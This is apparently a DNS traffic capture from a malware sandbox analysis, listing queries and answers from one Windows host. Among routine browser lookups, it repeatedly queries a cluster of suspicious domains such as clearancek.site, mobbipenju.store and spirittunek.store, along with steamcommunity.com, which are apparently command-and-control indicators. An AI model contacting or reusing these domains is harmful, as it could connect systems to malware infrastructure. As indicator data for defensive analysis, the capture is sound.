Oct 17, 2024 18:39:12.227010965 CEST	192.168.2.7	1.1.1.1	0x58f3	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:12.229754925 CEST	192.168.2.7	1.1.1.1	0xb46b	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:12.240309954 CEST	192.168.2.7	1.1.1.1	0xe2b1	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 17, 2024 18:39:12.682890892 CEST	192.168.2.7	1.1.1.1	0xbc00	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:12.694689035 CEST	192.168.2.7	1.1.1.1	0x21a6	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:12.709187984 CEST	192.168.2.7	1.1.1.1	0x66c4	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 17, 2024 18:39:12.711553097 CEST	192.168.2.7	1.1.1.1	0x608e	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Oct 17, 2024 18:39:12.726399899 CEST	192.168.2.7	1.1.1.1	0xed70	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:12.751899004 CEST	192.168.2.7	1.1.1.1	0xa538	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Oct 17, 2024 18:39:16.718064070 CEST	192.168.2.7	1.1.1.1	0x2176	Standard query (0)	firefox.settings.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:16.730709076 CEST	192.168.2.7	1.1.1.1	0x6bb9	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:16.740262985 CEST	192.168.2.7	1.1.1.1	0x1636	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 17, 2024 18:39:19.637695074 CEST	192.168.2.7	1.1.1.1	0x86d8	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Oct 17, 2024 18:39:26.085939884 CEST	192.168.2.7	1.1.1.1	0x5f2c	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:26.090704918 CEST	192.168.2.7	1.1.1.1	0x2426	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:26.095422029 CEST	192.168.2.7	1.1.1.1	0x2583	Standard query (0)	www.wikipedia.org	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:26.120634079 CEST	192.168.2.7	1.1.1.1	0xff89	Standard query (0)	dyna.wikimedia.org	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:26.121268034 CEST	192.168.2.7	1.1.1.1	0xe396	Standard query (0)	star-mini.c10r.facebook.com	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:26.122258902 CEST	192.168.2.7	1.1.1.1	0x961a	Standard query (0)	youtube-ui.l.google.com	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:26.128984928 CEST	192.168.2.7	1.1.1.1	0x16c6	Standard query (0)	dyna.wikimedia.org	28	IN (0x0001)	false
Oct 17, 2024 18:39:26.132481098 CEST	192.168.2.7	1.1.1.1	0x2515	Standard query (0)	youtube-ui.l.google.com	28	IN (0x0001)	false
Oct 17, 2024 18:39:26.132709026 CEST	192.168.2.7	1.1.1.1	0x3131	Standard query (0)	star-mini.c10r.facebook.com	28	IN (0x0001)	false
Oct 17, 2024 18:39:26.139178038 CEST	192.168.2.7	1.1.1.1	0xd58f	Standard query (0)	www.reddit.com	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:26.140371084 CEST	192.168.2.7	1.1.1.1	0x830c	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:26.142503977 CEST	192.168.2.7	1.1.1.1	0x212a	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Oct 17, 2024 18:39:26.146635056 CEST	192.168.2.7	1.1.1.1	0xace3	Standard query (0)	reddit.map.fastly.net	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:26.147674084 CEST	192.168.2.7	1.1.1.1	0x25e7	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:26.153139114 CEST	192.168.2.7	1.1.1.1	0x81a4	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Oct 17, 2024 18:39:26.154664993 CEST	192.168.2.7	1.1.1.1	0xeac4	Standard query (0)	reddit.map.fastly.net	28	IN (0x0001)	false
Oct 17, 2024 18:39:26.155380011 CEST	192.168.2.7	1.1.1.1	0x6b8c	Standard query (0)	twitter.com	28	IN (0x0001)	false
Oct 17, 2024 18:39:27.540036917 CEST	192.168.2.7	1.1.1.1	0x3b0f	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:32.550982952 CEST	192.168.2.7	1.1.1.1	0xc940	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 17, 2024 18:39:32.576857090 CEST	192.168.2.7	1.1.1.1	0x22ac	Standard query (0)	services.addons.mozilla.org	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:32.587089062 CEST	192.168.2.7	1.1.1.1	0xb62	Standard query (0)	services.addons.mozilla.org	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:32.596481085 CEST	192.168.2.7	1.1.1.1	0x5846	Standard query (0)	services.addons.mozilla.org	28	IN (0x0001)	false
Oct 17, 2024 18:39:32.633177042 CEST	192.168.2.7	1.1.1.1	0x56e1	Standard query (0)	normandy.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:32.643265963 CEST	192.168.2.7	1.1.1.1	0xb85f	Standard query (0)	normandy-cdn.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:32.655797958 CEST	192.168.2.7	1.1.1.1	0x430e	Standard query (0)	normandy-cdn.services.mozilla.com	28	IN (0x0001)	false
Oct 17, 2024 18:39:36.787765026 CEST	192.168.2.7	1.1.1.1	0xc6c4	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Oct 17, 2024 18:39:58.095768929 CEST	192.168.2.7	1.1.1.1	0x12bc	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:58.210306883 CEST	192.168.2.7	1.1.1.1	0x4cc1	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Oct 17, 2024 18:39:58.834980965 CEST	192.168.2.7	1.1.1.1	0x3321	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:40:03.334420919 CEST	192.168.2.7	1.1.1.1	0x59f1	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Oct 17, 2024 18:40:16.813313007 CEST	192.168.2.7	1.1.1.1	0x9a8e	Standard query (0)	clearancek.site	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:40:17.121710062 CEST	192.168.2.7	1.1.1.1	0x2bb7	Standard query (0)	mobbipenju.store	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:40:17.132802010 CEST	192.168.2.7	1.1.1.1	0xc1a6	Standard query (0)	eaglepawnoy.store	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:40:17.146799088 CEST	192.168.2.7	1.1.1.1	0x9675	Standard query (0)	dissapoiznw.store	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:40:17.158288002 CEST	192.168.2.7	1.1.1.1	0x1844	Standard query (0)	studennotediw.store	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:40:17.171927929 CEST	192.168.2.7	1.1.1.1	0xa5c5	Standard query (0)	bathdoomgaz.store	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:40:17.190251112 CEST	192.168.2.7	1.1.1.1	0x1fba	Standard query (0)	spirittunek.store	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:40:17.201817989 CEST	192.168.2.7	1.1.1.1	0x3769	Standard query (0)	licendfilteo.site	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:40:17.215832949 CEST	192.168.2.7	1.1.1.1	0xc687	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:40:30.153867006 CEST	192.168.2.7	1.1.1.1	0x1d20	Standard query (0)	clearancek.site	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:40:30.166309118 CEST	192.168.2.7	1.1.1.1	0x2002	Standard query (0)	mobbipenju.store	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:40:30.179507017 CEST	192.168.2.7	1.1.1.1	0xe333	Standard query (0)	eaglepawnoy.store	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:40:30.191075087 CEST	192.168.2.7	1.1.1.1	0xd7cd	Standard query (0)	dissapoiznw.store	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:40:30.204582930 CEST	192.168.2.7	1.1.1.1	0x4fb5	Standard query (0)	studennotediw.store	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:40:30.216602087 CEST	192.168.2.7	1.1.1.1	0xc443	Standard query (0)	bathdoomgaz.store	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:40:30.227801085 CEST	192.168.2.7	1.1.1.1	0xb54c	Standard query (0)	spirittunek.store	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:40:30.240211964 CEST	192.168.2.7	1.1.1.1	0xb5da	Standard query (0)	licendfilteo.site	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:40:30.264885902 CEST	192.168.2.7	1.1.1.1	0xec05	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:40:38.794116020 CEST	192.168.2.7	1.1.1.1	0xc240	Standard query (0)	clearancek.site	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:40:38.834809065 CEST	192.168.2.7	1.1.1.1	0x9c15	Standard query (0)	mobbipenju.store	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:40:38.858849049 CEST	192.168.2.7	1.1.1.1	0xb729	Standard query (0)	eaglepawnoy.store	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:40:39.526077986 CEST	192.168.2.7	1.1.1.1	0x14a7	Standard query (0)	dissapoiznw.store	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:40:39.538153887 CEST	192.168.2.7	1.1.1.1	0x3517	Standard query (0)	studennotediw.store	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:40:39.550599098 CEST	192.168.2.7	1.1.1.1	0xc3b4	Standard query (0)	bathdoomgaz.store	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:40:39.565020084 CEST	192.168.2.7	1.1.1.1	0xea6c	Standard query (0)	spirittunek.store	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:40:39.576931000 CEST	192.168.2.7	1.1.1.1	0xa981	Standard query (0)	licendfilteo.site	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:40:39.592432022 CEST	192.168.2.7	1.1.1.1	0x7496	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 17, 2024 18:38:16.478564978 CEST	1.1.1.1	192.168.2.7	0x86c3	No error (0)	time.windows.com	twc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 17, 2024 18:38:19.101129055 CEST	1.1.1.1	192.168.2.7	0x6acf	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	azurefd-t-fb-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 17, 2024 18:38:19.101129055 CEST	1.1.1.1	192.168.2.7	0x6acf	No error (0)	dual.s-part-0017.t-0009.fb-t-msedge.net	s-part-0017.t-0009.fb-t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 17, 2024 18:38:19.101129055 CEST	1.1.1.1	192.168.2.7	0x6acf	No error (0)	s-part-0017.t-0009.fb-t-msedge.net		13.107.253.45	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:38:23.888205051 CEST	1.1.1.1	192.168.2.7	0xadf5	Name error (3)	clearancek.site	none	none	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:38:23.985750914 CEST	1.1.1.1	192.168.2.7	0x7eb8	Name error (3)	mobbipenju.store	none	none	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:38:25.093389034 CEST	1.1.1.1	192.168.2.7	0xf740	Name error (3)	eaglepawnoy.store	none	none	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:38:25.093588114 CEST	1.1.1.1	192.168.2.7	0xf740	Name error (3)	eaglepawnoy.store	none	none	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:38:25.122088909 CEST	1.1.1.1	192.168.2.7	0xe108	Name error (3)	dissapoiznw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:38:25.135307074 CEST	1.1.1.1	192.168.2.7	0x5ce8	Name error (3)	studennotediw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:38:25.145541906 CEST	1.1.1.1	192.168.2.7	0x476b	Name error (3)	bathdoomgaz.store	none	none	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:38:25.157542944 CEST	1.1.1.1	192.168.2.7	0xd4ea	Name error (3)	spirittunek.store	none	none	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:38:25.171147108 CEST	1.1.1.1	192.168.2.7	0xbe3d	Name error (3)	licendfilteo.site	none	none	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:38:25.183106899 CEST	1.1.1.1	192.168.2.7	0xb2ce	No error (0)	steamcommunity.com		92.122.104.90	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:38:26.970498085 CEST	1.1.1.1	192.168.2.7	0xa39c	No error (0)	sergei-esenin.com		172.67.206.204	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:38:26.970498085 CEST	1.1.1.1	192.168.2.7	0xa39c	No error (0)	sergei-esenin.com		104.21.53.8	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:04.073647976 CEST	1.1.1.1	192.168.2.7	0xbb69	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:04.085598946 CEST	1.1.1.1	192.168.2.7	0x11bd	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:05.516946077 CEST	1.1.1.1	192.168.2.7	0x4e91	No error (0)	youtube.com		172.217.16.142	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:05.525728941 CEST	1.1.1.1	192.168.2.7	0x3946	No error (0)	youtube.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:05.533602953 CEST	1.1.1.1	192.168.2.7	0xcc33	No error (0)	youtube.com			28	IN (0x0001)	false
Oct 17, 2024 18:39:05.680610895 CEST	1.1.1.1	192.168.2.7	0xddb5	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 17, 2024 18:39:05.680610895 CEST	1.1.1.1	192.168.2.7	0xddb5	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:05.698158979 CEST	1.1.1.1	192.168.2.7	0xd42f	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:05.722230911 CEST	1.1.1.1	192.168.2.7	0x5c51	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Oct 17, 2024 18:39:05.926388979 CEST	1.1.1.1	192.168.2.7	0xfd62	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:05.935838938 CEST	1.1.1.1	192.168.2.7	0x98bd	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:06.343985081 CEST	1.1.1.1	192.168.2.7	0x57da	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 17, 2024 18:39:06.343985081 CEST	1.1.1.1	192.168.2.7	0x57da	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:06.344320059 CEST	1.1.1.1	192.168.2.7	0xcd7c	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 17, 2024 18:39:06.344320059 CEST	1.1.1.1	192.168.2.7	0xcd7c	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:06.356226921 CEST	1.1.1.1	192.168.2.7	0xceac	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:06.357446909 CEST	1.1.1.1	192.168.2.7	0x2fa	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:06.394686937 CEST	1.1.1.1	192.168.2.7	0x384b	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:06.395853043 CEST	1.1.1.1	192.168.2.7	0x33a	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:06.395853043 CEST	1.1.1.1	192.168.2.7	0x33a	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:06.537782907 CEST	1.1.1.1	192.168.2.7	0xeafc	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 17, 2024 18:39:06.537782907 CEST	1.1.1.1	192.168.2.7	0xeafc	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:06.537791014 CEST	1.1.1.1	192.168.2.7	0xfd6b	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 17, 2024 18:39:06.537791014 CEST	1.1.1.1	192.168.2.7	0xfd6b	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 17, 2024 18:39:06.537791014 CEST	1.1.1.1	192.168.2.7	0xfd6b	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:06.548221111 CEST	1.1.1.1	192.168.2.7	0x4621	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:06.556395054 CEST	1.1.1.1	192.168.2.7	0xec25	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Oct 17, 2024 18:39:12.220551014 CEST	1.1.1.1	192.168.2.7	0x9f97	No error (0)	support.mozilla.org	prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 17, 2024 18:39:12.220551014 CEST	1.1.1.1	192.168.2.7	0x9f97	No error (0)	prod.sumo.prod.webservices.mozgcp.net	us-west1.prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 17, 2024 18:39:12.220551014 CEST	1.1.1.1	192.168.2.7	0x9f97	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:12.235361099 CEST	1.1.1.1	192.168.2.7	0x58f3	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:12.238039017 CEST	1.1.1.1	192.168.2.7	0xb46b	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 17, 2024 18:39:12.690953970 CEST	1.1.1.1	192.168.2.7	0xbc00	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:12.702613115 CEST	1.1.1.1	192.168.2.7	0x21a6	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:12.706150055 CEST	1.1.1.1	192.168.2.7	0xf63c	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:12.718491077 CEST	1.1.1.1	192.168.2.7	0x581a	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 17, 2024 18:39:12.718491077 CEST	1.1.1.1	192.168.2.7	0x581a	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:12.736372948 CEST	1.1.1.1	192.168.2.7	0xed70	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:16.726102114 CEST	1.1.1.1	192.168.2.7	0x2176	No error (0)	firefox.settings.services.mozilla.com	prod.remote-settings.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 17, 2024 18:39:16.726102114 CEST	1.1.1.1	192.168.2.7	0x2176	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:16.738739014 CEST	1.1.1.1	192.168.2.7	0x6bb9	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:16.975147009 CEST	1.1.1.1	192.168.2.7	0xae5d	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:26.093116045 CEST	1.1.1.1	192.168.2.7	0x5f2c	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 17, 2024 18:39:26.093116045 CEST	1.1.1.1	192.168.2.7	0x5f2c	No error (0)	youtube-ui.l.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:26.093116045 CEST	1.1.1.1	192.168.2.7	0x5f2c	No error (0)	youtube-ui.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:26.093116045 CEST	1.1.1.1	192.168.2.7	0x5f2c	No error (0)	youtube-ui.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:26.093116045 CEST	1.1.1.1	192.168.2.7	0x5f2c	No error (0)	youtube-ui.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:26.093116045 CEST	1.1.1.1	192.168.2.7	0x5f2c	No error (0)	youtube-ui.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:26.093116045 CEST	1.1.1.1	192.168.2.7	0x5f2c	No error (0)	youtube-ui.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:26.093116045 CEST	1.1.1.1	192.168.2.7	0x5f2c	No error (0)	youtube-ui.l.google.com		172.217.16.142	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:26.093116045 CEST	1.1.1.1	192.168.2.7	0x5f2c	No error (0)	youtube-ui.l.google.com		142.250.185.238	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:26.093116045 CEST	1.1.1.1	192.168.2.7	0x5f2c	No error (0)	youtube-ui.l.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:26.093116045 CEST	1.1.1.1	192.168.2.7	0x5f2c	No error (0)	youtube-ui.l.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:26.093116045 CEST	1.1.1.1	192.168.2.7	0x5f2c	No error (0)	youtube-ui.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:26.093116045 CEST	1.1.1.1	192.168.2.7	0x5f2c	No error (0)	youtube-ui.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:26.093116045 CEST	1.1.1.1	192.168.2.7	0x5f2c	No error (0)	youtube-ui.l.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:26.093116045 CEST	1.1.1.1	192.168.2.7	0x5f2c	No error (0)	youtube-ui.l.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:26.093116045 CEST	1.1.1.1	192.168.2.7	0x5f2c	No error (0)	youtube-ui.l.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:26.093116045 CEST	1.1.1.1	192.168.2.7	0x5f2c	No error (0)	youtube-ui.l.google.com		172.217.18.110	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:26.099004030 CEST	1.1.1.1	192.168.2.7	0x2426	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 17, 2024 18:39:26.099004030 CEST	1.1.1.1	192.168.2.7	0x2426	No error (0)	star-mini.c10r.facebook.com		157.240.251.35	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:26.102694035 CEST	1.1.1.1	192.168.2.7	0x2583	No error (0)	www.wikipedia.org	dyna.wikimedia.org		CNAME (Canonical name)	IN (0x0001)	false
Oct 17, 2024 18:39:26.102694035 CEST	1.1.1.1	192.168.2.7	0x2583	No error (0)	dyna.wikimedia.org		185.15.59.224	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:26.105062962 CEST	1.1.1.1	192.168.2.7	0xf63d	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:26.127748013 CEST	1.1.1.1	192.168.2.7	0xff89	No error (0)	dyna.wikimedia.org		185.15.59.224	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:26.128637075 CEST	1.1.1.1	192.168.2.7	0xe396	No error (0)	star-mini.c10r.facebook.com		157.240.253.35	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:26.129216909 CEST	1.1.1.1	192.168.2.7	0x961a	No error (0)	youtube-ui.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:26.129216909 CEST	1.1.1.1	192.168.2.7	0x961a	No error (0)	youtube-ui.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:26.129216909 CEST	1.1.1.1	192.168.2.7	0x961a	No error (0)	youtube-ui.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:26.129216909 CEST	1.1.1.1	192.168.2.7	0x961a	No error (0)	youtube-ui.l.google.com		172.217.16.142	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:26.129216909 CEST	1.1.1.1	192.168.2.7	0x961a	No error (0)	youtube-ui.l.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:26.129216909 CEST	1.1.1.1	192.168.2.7	0x961a	No error (0)	youtube-ui.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:26.129216909 CEST	1.1.1.1	192.168.2.7	0x961a	No error (0)	youtube-ui.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:26.129216909 CEST	1.1.1.1	192.168.2.7	0x961a	No error (0)	youtube-ui.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:26.129216909 CEST	1.1.1.1	192.168.2.7	0x961a	No error (0)	youtube-ui.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:26.129216909 CEST	1.1.1.1	192.168.2.7	0x961a	No error (0)	youtube-ui.l.google.com		172.217.23.110	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:26.129216909 CEST	1.1.1.1	192.168.2.7	0x961a	No error (0)	youtube-ui.l.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:26.129216909 CEST	1.1.1.1	192.168.2.7	0x961a	No error (0)	youtube-ui.l.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:26.129216909 CEST	1.1.1.1	192.168.2.7	0x961a	No error (0)	youtube-ui.l.google.com		172.217.18.110	A (IP address)	IN (0x0001)	false
